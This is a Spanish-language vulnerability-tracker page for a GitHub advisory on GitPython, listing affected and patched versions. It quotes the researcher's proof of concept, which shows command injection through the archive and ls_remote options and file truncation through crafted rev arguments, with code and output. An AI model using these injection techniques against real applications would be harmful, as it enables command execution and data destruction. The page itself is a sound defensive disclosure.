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Advisory · GitHub · PyPI · gitpython

GHSA-956X-8GVW-WG5V

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -9 d de la divulgación
Exposición122 dDesde la divulgación, 21 jul 2026, 3:10 p. m.
Detección118 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 3.1.51
Monitoreo
Detectada
12 jul 26
21 jul 26
10 sept 26
17 nov 26
20 nov 26
12 jul 26
14 ago 26
16 sept 26
19 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.1.51 gitpython · -9 d desde divulgación
Divulgación Publicada GHSA-956X-8GVW-WG5V divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": "<cmd>"} give
git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
gitpython< 3.1.51
3.1.51
3.2.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypigitpython
Corregida 3.1.51 -9 d 3.2.1 no afectada
Versiones corregidas3.1.51
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-67323
Otrahttps://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v
Otrahttps://github.com/gitpython-developers/GitPython/pull/2163
Otrahttps://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738
Otrahttps://github.com/gitpython-developers/GitPython
Otrahttps://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
Otrahttps://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options

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